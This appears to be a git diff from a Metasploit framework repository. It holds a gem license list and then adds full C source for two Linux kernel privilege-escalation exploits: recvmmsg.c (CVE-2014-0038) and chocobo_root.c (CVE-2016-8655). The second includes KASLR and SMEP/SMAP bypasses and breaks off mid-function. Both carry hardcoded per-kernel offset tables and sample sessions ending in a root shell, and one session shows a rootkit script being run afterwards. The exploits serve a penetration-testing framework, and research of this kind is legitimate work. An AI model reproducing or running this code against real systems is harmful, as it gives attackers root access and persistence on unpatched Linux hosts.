fivemat, 1.3.5, MIT
|
||||
google-protobuf, 3.3.0, "New BSD"
|
||||
googleauth, 0.5.1, "Apache 2.0"
|
||||
grpc, 1.4.1, "New BSD"
|
||||
fivemat, 1.3.6, MIT
|
||||
google-protobuf, 3.5.1, "New BSD"
|
||||
googleapis-common-protos-types, 1.0.1, "Apache 2.0"
|
||||
googleauth, 0.6.2, "Apache 2.0"
|
||||
grpc, 1.8.3, "Apache 2.0"
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
i18n, 0.8.6, MIT
|
||||
i18n, 0.9.5, MIT
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.1.0, ruby
|
||||
jwt, 1.5.6, MIT
|
||||
jwt, 2.1.0, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.2.2, MIT
|
||||
loofah, 2.0.3, MIT
|
||||
loofah, 2.2.0, MIT
|
||||
memoist, 0.16.0, MIT
|
||||
metasm, 1.0.3, LGPL
|
||||
metasploit-aggregator, 0.2.1, "New BSD"
|
||||
metasploit-aggregator, 1.0.0, "New BSD"
|
||||
metasploit-concern, 2.0.5, "New BSD"
|
||||
metasploit-credential, 2.0.10, "New BSD"
|
||||
metasploit-framework, 4.15.0, "New BSD"
|
||||
metasploit-credential, 2.0.13, "New BSD"
|
||||
metasploit-framework, 5.0.0, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.2.37, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 2.0.15, "New BSD"
|
||||
metasploit_payloads-mettle, 0.1.10, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.8.2, MIT
|
||||
mini_portile2, 2.2.0, MIT
|
||||
minitest, 5.10.2, MIT
|
||||
msgpack, 1.1.0, "Apache 2.0"
|
||||
multi_json, 1.12.1, MIT
|
||||
metasploit-payloads, 1.3.31, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 2.0.16, "New BSD"
|
||||
metasploit_payloads-mettle, 0.3.7, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.9.0, MIT
|
||||
mini_portile2, 2.3.0, MIT
|
||||
minitest, 5.11.3, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.2.4, "Apache 2.0"
|
||||
multi_json, 1.13.1, MIT
|
||||
multipart-post, 2.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ssh, 4.1.0, MIT
|
||||
network_interface, 0.0.1, MIT
|
||||
nexpose, 6.1.0, BSD
|
||||
nokogiri, 1.8.0, MIT
|
||||
octokit, 4.7.0, MIT
|
||||
net-ssh, 4.2.0, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.2.0, BSD
|
||||
nokogiri, 1.8.2, MIT
|
||||
octokit, 4.8.0, MIT
|
||||
openssl-ccm, 1.2.1, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
os, 0.9.6, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.12.4, LGPL-2.1
|
||||
pdf-reader, 2.0.0, MIT
|
||||
pdf-reader, 2.1.0, MIT
|
||||
pg, 0.20.0, "New BSD"
|
||||
pg_array_parser, 0.0.9, unknown
|
||||
postgres_ext, 3.0.0, MIT
|
||||
pry, 0.10.4, MIT
|
||||
public_suffix, 2.0.5, MIT
|
||||
rack, 1.6.8, MIT
|
||||
pry, 0.11.3, MIT
|
||||
public_suffix, 3.0.2, MIT
|
||||
rack, 1.6.9, MIT
|
||||
rack-test, 0.6.3, MIT
|
||||
rails-deprecated_sanitizer, 1.0.3, MIT
|
||||
rails-dom-testing, 1.0.8, MIT
|
||||
rails-dom-testing, 1.0.9, MIT
|
||||
rails-html-sanitizer, 1.0.3, MIT
|
||||
railties, 4.2.9, MIT
|
||||
rake, 12.0.0, MIT
|
||||
rb-readline, 0.5.4, BSD
|
||||
recog, 2.1.11, unknown
|
||||
railties, 4.2.10, MIT
|
||||
rake, 12.3.0, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.1.18, unknown
|
||||
redcarpet, 3.4.0, MIT
|
||||
rex-arch, 0.1.9, "New BSD"
|
||||
rex-arch, 0.1.13, "New BSD"
|
||||
rex-bin_tools, 0.1.4, "New BSD"
|
||||
rex-core, 0.1.11, "New BSD"
|
||||
rex-core, 0.1.13, "New BSD"
|
||||
rex-encoder, 0.1.4, "New BSD"
|
||||
rex-exploitation, 0.1.15, "New BSD"
|
||||
rex-exploitation, 0.1.17, "New BSD"
|
||||
rex-java, 0.1.5, "New BSD"
|
||||
rex-mime, 0.1.5, "New BSD"
|
||||
rex-nop, 0.1.1, "New BSD"
|
||||
rex-ole, 0.1.6, "New BSD"
|
||||
rex-powershell, 0.1.72, "New BSD"
|
||||
rex-random_identifier, 0.1.2, "New BSD"
|
||||
rex-powershell, 0.1.77, "New BSD"
|
||||
rex-random_identifier, 0.1.4, "New BSD"
|
||||
rex-registry, 0.1.3, "New BSD"
|
||||
rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.8, "New BSD"
|
||||
rex-sslscan, 0.1.4, "New BSD"
|
||||
rex-socket, 0.1.10, "New BSD"
|
||||
rex-sslscan, 0.1.5, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.15, "New BSD"
|
||||
rex-text, 0.2.17, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
robots, 0.10.1, MIT
|
||||
rspec, 3.6.0, MIT
|
||||
rspec-core, 3.6.0, MIT
|
||||
rspec-expectations, 3.6.0, MIT
|
||||
rspec-mocks, 3.6.0, MIT
|
||||
rspec-rails, 3.6.0, MIT
|
||||
rspec, 3.7.0, MIT
|
||||
rspec-core, 3.7.1, MIT
|
||||
rspec-expectations, 3.7.0, MIT
|
||||
rspec-mocks, 3.7.0, MIT
|
||||
rspec-rails, 3.7.2, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.6.0, MIT
|
||||
rspec-support, 3.7.1, MIT
|
||||
ruby-macho, 1.1.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby_smb, 0.0.18, "New BSD"
|
||||
ruby_smb, 0.0.23, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 1.2.1, "Simplified BSD"
|
||||
sawyer, 0.8.1, MIT
|
||||
signet, 0.7.3, "Apache 2.0"
|
||||
simplecov, 0.14.1, MIT
|
||||
simplecov-html, 0.10.1, MIT
|
||||
slop, 3.6.0, MIT
|
||||
signet, 0.8.1, "Apache 2.0"
|
||||
simplecov, 0.16.0, MIT
|
||||
simplecov-html, 0.10.2, MIT
|
||||
sqlite3, 1.3.13, "New BSD"
|
||||
sshkey, 1.9.0, MIT
|
||||
thor, 0.19.4, MIT
|
||||
thor, 0.20.0, MIT
|
||||
thread_safe, 0.3.6, "Apache 2.0"
|
||||
timecop, 0.9.1, MIT
|
||||
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.3, MIT
|
||||
tzinfo-data, 1.2017.2, MIT
|
||||
tzinfo, 1.2.5, MIT
|
||||
tzinfo-data, 1.2018.3, MIT
|
||||
windows_error, 0.1.2, BSD
|
||||
xdr, 2.0.0, "Apache 2.0"
|
||||
xmlrpc, 0.3.0, ruby
|
||||
yard, 0.9.9, MIT
|
||||
yard, 0.9.12, MIT
|
||||
|
|
Binary file not shown.
|
@ -0,0 +1,226 @@
|
|||
/*
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
|
||||
CVE-2014-0038 / x32 ABI with recvmmsg
|
||||
by rebel @ irc.smashthestack.org
|
||||
-----------------------------------
|
||||
|
||||
takes about 13 minutes to run because timeout->tv_sec is decremented
|
||||
once per second and 0xff*3 is 765.
|
||||
|
||||
some things you could do while waiting:
|
||||
* watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
|
||||
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
|
||||
* brew some coffee
|
||||
* stare at the countdown giggly with anticipation
|
||||
|
||||
could probably whack the high bits of some pointer with nanoseconds,
|
||||
but that would require a bunch of nulls before the pointer and then
|
||||
reading an oops from dmesg which isn't that elegant.
|
||||
|
||||
&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
|
||||
|
||||
hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
|
||||
anyway..
|
||||
|
||||
same principle will work on 32bit but I didn't really find any major
|
||||
distros shipping with CONFIG_X86_X32=y
|
||||
|
||||
user@ubuntu:~$ uname -a
|
||||
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
|
||||
user@ubuntu:~$ ./recvmmsg
|
||||
byte 3 / 3.. ~0 secs left.
|
||||
w00p w00p!
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
# sh phalanx-2.6b-x86_64.sh
|
||||
unpacking..
|
||||
|
||||
:)=
|
||||
|
||||
greets to my homeboys kaliman, beist, capsl & all of #social
|
||||
|
||||
Sat Feb 1 22:15:19 CET 2014
|
||||
% rebel %
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <netinet/ip.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define __X32_SYSCALL_BIT 0x40000000
|
||||
#undef __NR_recvmmsg
|
||||
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
|
||||
#define VLEN 1
|
||||
#define BUFSIZE 200
|
||||
|
||||
int port;
|
||||
|
||||
struct offset {
|
||||
char *kernel_version;
|
||||
unsigned long dest; // net_sysctl_root + 96
|
||||
unsigned long original_value; // net_ctl_permissions
|
||||
unsigned long prepare_kernel_cred;
|
||||
unsigned long commit_creds;
|
||||
};
|
||||
|
||||
struct offset offsets[] = {
|
||||
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
|
||||
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
|
||||
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
|
||||
{NULL,0,0,0,0}
|
||||
};
|
||||
|
||||
void udp(int b) {
|
||||
int sockfd;
|
||||
struct sockaddr_in servaddr,cliaddr;
|
||||
int s = 0xff+1;
|
||||
|
||||
if(fork() == 0) {
|
||||
while(s > 0) {
|
||||
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
|
||||
sleep(1);
|
||||
s--;
|
||||
fprintf(stderr,".");
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET,SOCK_DGRAM,0);
|
||||
bzero(&servaddr,sizeof(servaddr));
|
||||
servaddr.sin_family = AF_INET;
|
||||
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
|
||||
servaddr.sin_port=htons(port);
|
||||
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
|
||||
exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void trigger() {
|
||||
open("/proc/sys/net/core/somaxconn",O_RDONLY);
|
||||
|
||||
if(getuid() != 0) {
|
||||
fprintf(stderr,"not root, ya blew it!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stderr,"w00p w00p!\n");
|
||||
system("/bin/sh -i");
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
// thx bliss
|
||||
static int __attribute__((regparm(3)))
|
||||
getroot(void *head, void * table)
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
void __attribute__((regparm(3)))
|
||||
trampoline()
|
||||
{
|
||||
asm("mov $getroot, %rax; call *%rax;");
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int sockfd, retval, i;
|
||||
struct sockaddr_in sa;
|
||||
struct mmsghdr msgs[VLEN];
|
||||
struct iovec iovecs[VLEN];
|
||||
char buf[BUFSIZE];
|
||||
long mmapped;
|
||||
struct utsname u;
|
||||
struct offset *off = NULL;
|
||||
|
||||
uname(&u);
|
||||
|
||||
for(i=0;offsets[i].kernel_version != NULL;i++) {
|
||||
if(!strcmp(offsets[i].kernel_version,u.release)) {
|
||||
off = &offsets[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(!off) {
|
||||
fprintf(stderr,"no offsets for this kernel version..\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
|
||||
mmapped &= 0x000000ffffffffff;
|
||||
|
||||
srand(time(NULL));
|
||||
port = (rand() % 30000)+1500;
|
||||
|
||||
commit_creds = (_commit_creds)off->commit_creds;
|
||||
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
|
||||
|
||||
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
|
||||
if(mmapped == -1) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
|
||||
|
||||
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
|
||||
|
||||
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
|
||||
perror("mprotect()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sockfd == -1) {
|
||||
perror("socket()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
|
||||
perror("bind()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(msgs, 0, sizeof(msgs));
|
||||
|
||||
iovecs[0].iov_base = &buf;
|
||||
iovecs[0].iov_len = BUFSIZE;
|
||||
msgs[0].msg_hdr.msg_iov = &iovecs[0];
|
||||
msgs[0].msg_hdr.msg_iovlen = 1;
|
||||
|
||||
for(i=0;i < 3 ;i++) {
|
||||
udp(i);
|
||||
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
|
||||
if(!retval) {
|
||||
fprintf(stderr,"\nrecvmmsg() failed\n");
|
||||
}
|
||||
}
|
||||
|
||||
close(sockfd);
|
||||
|
||||
fprintf(stderr,"\n");
|
||||
|
||||
trigger();
|
||||
}
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,945 @@
|
|||
/*
|
||||
chocobo_root.c
|
||||
linux AF_PACKET race condition exploit for CVE-2016-8655.
|
||||
Includes KASLR and SMEP/SMAP bypasses.
|
||||
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
|
||||
All kernel offsets have been tested on Ubuntu / Linux Mint.
|
||||
|
||||
vroom vroom
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
|
||||
user@ubuntu:~$ uname -a
|
||||
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu:~$ id
|
||||
uid=1000(user) gid=1000(user) groups=1000(user)
|
||||
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
|
||||
user@ubuntu:~$ ./chocobo_root
|
||||
linux AF_PACKET race condition exploit by rebel
|
||||
kernel version: 4.4.0-51-generic #72
|
||||
proc_dostring = 0xffffffff81088090
|
||||
modprobe_path = 0xffffffff81e48f80
|
||||
register_sysctl_table = 0xffffffff812879a0
|
||||
set_memory_rw = 0xffffffff8106f320
|
||||
exploit starting
|
||||
making vsyscall page writable..
|
||||
|
||||
new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 174222, last val = 2)
|
||||
current packet version = 0
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
|
||||
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
|
||||
closing socket and verifying.......
|
||||
vsyscall page altered!
|
||||
|
||||
|
||||
stage 1 completed
|
||||
registering new sysctl..
|
||||
|
||||
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 30773, last val = 0)
|
||||
current packet version = 2
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
race not won
|
||||
|
||||
retrying stage..
|
||||
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 133577, last val = 2)
|
||||
current packet version = 0
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
|
||||
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
|
||||
closing socket and verifying.......
|
||||
sysctl added!
|
||||
|
||||
stage 2 completed
|
||||
binary executed by kernel, launching rootshell
|
||||
root@ubuntu:~# id
|
||||
uid=0(root) gid=0(root) groups=0(root),1000(user)
|
||||
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
|
||||
|
||||
Shoutouts to:
|
||||
jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
|
||||
mcdelivery for delivering hotcakes and coffee
|
||||
|
||||
11/2016
|
||||
by rebel
|
||||
---
|
||||
Updated by <bcoles@gmail.com>
|
||||
- check number of CPU cores
|
||||
- KASLR bypasses
|
||||
- additional kernel targets
|
||||
https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <poll.h>
|
||||
#include <pthread.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/sysinfo.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/sched.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/if_ether.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions()
|
||||
int kernel = -1;
|
||||
|
||||
// New sysctl path
|
||||
const char *SYSCTL_NAME = "hack";
|
||||
const char *SYSCTL_PATH = "/proc/sys/hack";
|
||||
|
||||
volatile int barrier = 1;
|
||||
volatile int vers_switcher_done = 0;
|
||||
|
||||
struct kernel_info {
|
||||
char *kernel_version;
|
||||
unsigned long proc_dostring;
|
||||
unsigned long modprobe_path;
|
||||
unsigned long register_sysctl_table;
|
||||
unsigned long set_memory_rw;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
|
||||
{ "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
|
||||
{ "4.4.0-24-generic #43~14.04.1-Ubuntu", 0x084120, 0xc4b080, 0x2736f0, 0x06b880 },
|
||||
{ "4.4.0-28-generic #47~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273b70, 0x06b880 },
|
||||
{ "4.4.0-31-generic #50~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c20, 0x06b880 },
|
||||
{ "4.4.0-34-generic #53~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c40, 0x06b880 },
|
||||
{ "4.4.0-36-generic #55~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c60, 0x06b890 },
|
||||
{ "4.4.0-38-generic #57~14.04.1-Ubuntu", 0x084210, 0xe4b100, 0x2742e0, 0x06b890 },
|
||||
{ "4.4.0-42-generic #62~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274300, 0x06b880 },
|
||||
{ "4.4.0-45-generic #66~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274340, 0x06b880 },
|
||||
//{"4.4.0-46-generic #67~14.04.1-Ubuntu",0x0842f0,0xe4b100,0x274580,0x06b880},
|
||||
{ "4.4.0-47-generic #68~14.04.1-Ubuntu", 0x0842f0, 0xe4b100, 0x274580, 0x06b880 },
|
||||
//{"4.4.0-49-generic #70~14.04.1-Ubuntu",0x084350,0xe4b100,0x274b10,0x06b880},
|
||||
{ "4.4.0-51-generic #72~14.04.1-Ubuntu", 0x084350, 0xe4b100, 0x274750, 0x06b880 },
|
||||
|
||||
{ "4.4.0-21-generic #37-Ubuntu", 0x087cf0, 0xe48e80, 0x286310, 0x06f370 },
|
||||
{ "4.4.0-22-generic #40-Ubuntu", 0x087d40, 0xe48f00, 0x2864d0, 0x06f370 },
|
||||
{ "4.4.0-24-generic #43-Ubuntu", 0x087e60, 0xe48f00, 0x2868f0, 0x06f370 },
|
||||
{ "4.4.0-28-generic #47-Ubuntu", 0x087ea0, 0xe48f80, 0x286df0, 0x06f370 },
|
||||
{ "4.4.0-31-generic #50-Ubuntu", 0x087ea0, 0xe48f80, 0x286e90, 0x06f370 },
|
||||
{ "4.4.0-34-generic #53-Ubuntu", 0x087ea0, 0xe48f80, 0x286ed0, 0x06f370 },
|
||||
{ "4.4.0-36-generic #55-Ubuntu", 0x087ea0, 0xe48f80, 0x286e50, 0x06f360 },
|
||||
{ "4.4.0-38-generic #57-Ubuntu", 0x087f70, 0xe48f80, 0x287470, 0x06f360 },
|
||||
{ "4.4.0-42-generic #62-Ubuntu", 0x087fc0, 0xe48f80, 0x2874a0, 0x06f320 },
|
||||
{ "4.4.0-43-generic #63-Ubuntu", 0x087fc0, 0xe48f80, 0x2874b0, 0x06f320 },
|
||||
{ "4.4.0-45-generic #66-Ubuntu", 0x087fc0, 0xe48f80, 0x2874c0, 0x06f320 },
|
||||
//{"4.4.0-46-generic #67-Ubuntu",0x088040,0xe48f80,0x287800,0x06f320},
|
||||
{ "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
|
||||
//{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
|
||||
{ "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
|
||||
};
|
||||
|
||||
#define VSYSCALL 0xffffffffff600000
|
||||
#define PROC_DOSTRING (KERNEL_BASE + kernels[kernel].proc_dostring)
|
||||
#define MODPROBE_PATH (KERNEL_BASE + kernels[kernel].modprobe_path)
|
||||
#define REGISTER_SYSCTL_TABLE (KERNEL_BASE + kernels[kernel].register_sysctl_table)
|
||||
#define SET_MEMORY_RW (KERNEL_BASE + kernels[kernel].set_memory_rw)
|
||||
|
||||
#define KMALLOC_PAD 64
|
||||
|
||||
int pad_fds[KMALLOC_PAD];
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ctl_table {
|
||||
const char *procname;
|
||||
void *data;
|
||||
int maxlen;
|
||||
unsigned short mode;
|
||||
struct ctl_table *child;
|
||||
void *proc_handler;
|
||||
void *poll;
|
||||
void *extra1;
|
||||
void *extra2;
|
||||
};
|
||||
|
||||
#define CONF_RING_FRAMES 1
|
||||
|
||||
struct tpacket_req3 tp;
|
||||
int sfd;
|
||||
int mapped = 0;
|
||||
|
||||
struct timer_list {
|
||||
void *next;
|
||||
void *prev;
|
||||
unsigned long expires;
|
||||
void (*function)(unsigned long);
|
||||
unsigned long data;
|
||||
unsigned int flags;
|
||||
int slack;
|
||||
};
|
||||
|
||||
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void *setsockopt_thread(void *arg)
|
||||
{
|
||||
while (barrier) {}
|
||||
setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void *vers_switcher(void *arg)
|
||||
{
|
||||
int val,x,y;
|
||||
|
||||
while (barrier) {}
|
||||
|
||||
while (1) {
|
||||
val = TPACKET_V1;
|
||||
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
y++;
|
||||
|
||||
if (x != 0) break;
|
||||
|
||||
val = TPACKET_V3;
|
||||
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
if (x != 0) break;
|
||||
|
||||
y++;
|
||||
}
|
||||
|
||||
dprintf("[.] version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
|
||||
vers_switcher_done = 1;
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define BUFSIZE 1408
|
||||
char exploitbuf[BUFSIZE];
|
||||
|
||||
void kmalloc(void)
|
||||
{
|
||||
while(1)
|
||||
syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE - 24, -2);
|
||||
}
|
||||
|
||||
void pad_kmalloc(void)
|
||||
{
|
||||
int x;
|
||||
for (x = 0; x < KMALLOC_PAD; x++)
|
||||
if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
|
||||
dprintf("[-] pad_kmalloc() socket error\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
{
|
||||
pthread_t setsockopt_thread_thread,a;
|
||||
int val;
|
||||
socklen_t l;
|
||||
struct timer_list *timer;
|
||||
int fd;
|
||||
struct tpacket_block_desc *pbd;
|
||||
int off;
|
||||
sigset_t set;
|
||||
|
||||
sigemptyset(&set);
|
||||
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
dprintf("[.] new exploit attempt starting, jumping to %p, arg=%p\n", (void *)func, (void *)arg);
|
||||
|
||||
pad_kmalloc();
|
||||
|
||||
fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
|
||||
if (fd == -1) {
|
||||
dprintf("[-] target socket error\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pad_kmalloc();
|
||||
|
||||
dprintf("[.] done, sockets allocated\n");
|
||||
|
||||
val = TPACKET_V3;
|
||||
|
||||
setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
|
||||
tp.tp_block_nr = 1;
|
||||
